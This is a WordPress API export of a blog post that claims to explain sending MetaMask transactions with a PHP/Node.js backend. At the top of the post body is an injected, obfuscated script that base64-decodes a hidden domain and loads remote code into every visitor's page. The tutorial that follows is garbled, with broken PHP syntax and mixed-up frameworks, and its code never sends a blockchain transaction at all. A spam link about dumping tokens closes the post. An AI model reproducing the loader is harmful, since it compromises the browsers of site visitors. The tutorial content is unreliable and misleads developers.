{"id":438,"date":"2025-02-08T19:43:56","date_gmt":"2025-02-08T19:43:56","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=438"},"modified":"2025-02-08T19:43:56","modified_gmt":"2025-02-08T19:43:56","slug":"metamask-send-transaction-to-other-wallet","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=438","title":{"rendered":"Metamask: Send transaction to other wallet"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=4ca62ea0\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here is an example of an article explaining how to send transactions from the metamask portfolio using the Node.js facilities with API Metamask:<\/p>\n<\/p>\n<p><strong> Metamask transaction sending with backend php and node.js <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Send transaction to other wallet\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/64aca91c.png\"><\/p>\n<\/p>\n<p>In this article, we will discuss how to create a simple API interface in the back of the Node.JS application, which allows you to send transactions from the metamascus portfolio to other wallets.<\/p>\n<\/p>\n<p><strong> preliminary requirements: <\/strong><\/p>\n<\/p>\n<ul>\n<li>Install node.js and metamask on your computer.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Configure the local programming environment for PHP (e.g. Laravel or Express).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Create an account from Metamask to test the API.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Project structure: <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/gsfJywNxpi4\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>`<code>Bash<\/p>\n<\/p>\n<p>Metamask-Aapi\/<\/p>\n<\/p>\n<p>App.php<\/p>\n<\/p>\n<p>configurator\/<\/p>\n<\/p>\n<p>batabase.php<\/p>\n<\/p>\n<p>public\/<\/p>\n<\/p>\n<p>controllers\/<\/p>\n<\/p>\n<p>index.php<\/p>\n<\/p>\n<p>Services\/<\/p>\n<\/p>\n<p>TransactionService.php<\/p>\n<\/p>\n<p>routes\/<\/p>\n<\/p>\n<p>api.php<\/p>\n<\/p>\n<p>seller\/<\/p>\n<\/p>\n<p>autoload.php<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> app .js (Backend PHP file) <\/strong><\/p>\n<\/p>\n<p>`<code>Php<\/p>\n<\/p>\n<p>Use Illumine \\ Support \\ Faceades \\ DB;<\/p>\n<\/p>\n<p>\/\/ connect to the database<\/p>\n<\/p>\n<p>$ Connection = DB :: Connect (\"MySQL\", [<\/p>\n<\/p>\n<p>    \"Host\" => \"Localhost\",<\/p>\n<\/p>\n<p>    \"User\" => \"your_username\",<\/p>\n<\/p>\n<p>    \"Password\" => \"your_password\",<\/p>\n<\/p>\n<p>]);<\/p>\n<\/p>\n<p>\/\/ Define a new transaction service<\/p>\n<\/p>\n<p>TransactionService class {<\/p>\n<\/p>\n<p>    CREATETAMACTION Public function ($ DATA) {<\/p>\n<\/p>\n<p>        \/\/ check the input data<\/p>\n<\/p>\n<p>        if (! ISSET ($ Data ['to']) ||! ISSET ($ Data ['amount'])) {<\/p>\n<\/p>\n<p>            return false;<\/p>\n<\/p>\n<p>        }<\/p>\n<\/p>\n<p>        to try {<\/p>\n<\/p>\n<p>            \/\/ perform a transaction<\/p>\n<\/p>\n<p>            $ score = db :: insert (\"transactions\", [<\/p>\n<\/p>\n<p>                'user_id' => auth ()-> id (),<\/p>\n<\/p>\n<p>                \"Wallet_id\" => auth ()-> id (),<\/p>\n<\/p>\n<p>                \"Amount\" => floatval ($ data ['amount']),<\/p>\n<\/p>\n<p>                \"Tx_hash\" => Hash (\"Sha256\", Uniqid ()) \/\/ generate a unique TX_HASH for transactions<\/p>\n<\/p>\n<p>            ]);<\/p>\n<\/p>\n<p>            if ($ score) {<\/p>\n<\/p>\n<p>                return True;<\/p>\n<\/p>\n<p>            } otherwise {<\/p>\n<\/p>\n<p>                Quit a new exception (\"the transaction failed\");<\/p>\n<\/p>\n<p>            }<\/p>\n<\/p>\n<p>        } catch (exception $ e) {<\/p>\n<\/p>\n<p>            return false;<\/p>\n<\/p>\n<p>        }<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>\/\/ Create a new TransactionService instance<\/p>\n<\/p>\n<p>$ TransactionService = New TransationService ();<\/p>\n<\/p>\n<p>\/\/ Define the function of sending transactions from the Metamask portfolio<\/p>\n<\/p>\n<p>Sendtransaction function ($ to, $ amount) {<\/p>\n<\/p>\n<p>    $ Data = [<\/p>\n<\/p>\n<p>        \"To '=> $ to,<\/p>\n<\/p>\n<p>        \"Amount\" => $ amount<\/p>\n<\/p>\n<p>    ];<\/p>\n<\/p>\n<p>    if (! $ transactionService-> Createtransaction ($ data)) {<\/p>\n<\/p>\n<p>        return false;<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>    \/\/ Return True to indicate a successful transaction<\/p>\n<\/p>\n<p>    return True;<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> index.php (controller file) <\/strong><\/p>\n<\/p>\n<p>`<code>Php<\/p>\n<\/p>\n<p>Use Illumine \\ HTTP \\ request;<\/p>\n<\/p>\n<p>\/\/ Service of incoming demands from the Metamask portfolio<\/p>\n<\/p>\n<p>$ to = Request :: Input ('To');<\/p>\n<\/p>\n<p>$ amount = Request :: Input (\"amount\");<\/p>\n<\/p>\n<p>if (! ISET ($ to)) {<\/p>\n<\/p>\n<p>    Return Response ()-> Json (['error' => 'incorrect to the address']);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>if (! ISET ($ amount)) {<\/p>\n<\/p>\n<p>    Return Response ()-> Json (['error' => 'incorrect amount']);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>\/\/ Send a transaction using the SENDTRANSACTION function<\/p>\n<\/p>\n<p>$ response = sendtransaction ($ to, $ amount);<\/p>\n<\/p>\n<p>Return Response ()-> Json ($ response);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> api.php (route file) <\/strong><\/p>\n<\/p>\n<p>`<code>Php<\/p>\n<\/p>\n<p>Use Illumine \\ HTTP \\ request;<\/p>\n<\/p>\n<p>Use APP \\ HTTP \\ Controllers \\ TransactionService;<\/p>\n<\/p>\n<p>\/\/ Define a new route for sending transactions<\/p>\n<\/p>\n<p>Route :: \"\/Sendtransaction\", [<\/p>\n<\/p>\n<p>    \"Name\" => 'Sendtransaction',<\/p>\n<\/p>\n<p>    \"Uses\" => function (demand $ request) {<\/p>\n<\/p>\n<p>        Return TransactionService :: Sendtransaction ($ Request-> Input ('To'), $ Request-> Input ('amount'));<\/p>\n<\/p>\n<p>    },<\/p>\n<\/p>\n<p>    \"Methods\" => ['post']<\/p>\n<\/p>\n<p>]);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong>Explanation:<\/strong><\/p>\n<\/p>\n<ul>\n<li>In the &#8220;App.PHP&#8221; file we define a new transaction service using the Laravel container (eloquent ORM).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The &#8220;CREATETAMSACTION&#8221; method checks the input data and performs a transaction in the database.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>In the &#8220;Sendtransaction&#8221; function, we download the Metamask portfolio address and the amount from the parameters of the request. Then we call the &#8220;Createtransaction&#8221; method to send a transaction.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Finally, in the `\/API\/Sendtransaction &#8216;route file, we define a new route to send transactions using the Laravel route constructor.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/bossidigital.com\/2025\/02\/08\/dump-lp-token-sale\/\">dump token<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is an example of an article explaining how to send transactions from the metamask portfolio using the Node.js facilities with API Metamask: Metamask transaction sending with backend php and node.js In this article, we will discuss how to create a simple API interface in the back of the Node.JS application, which allows you to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/438"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=438"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/438\/revisions"}],"predecessor-version":[{"id":439,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/438\/revisions\/439"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=438"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=438"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=438"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}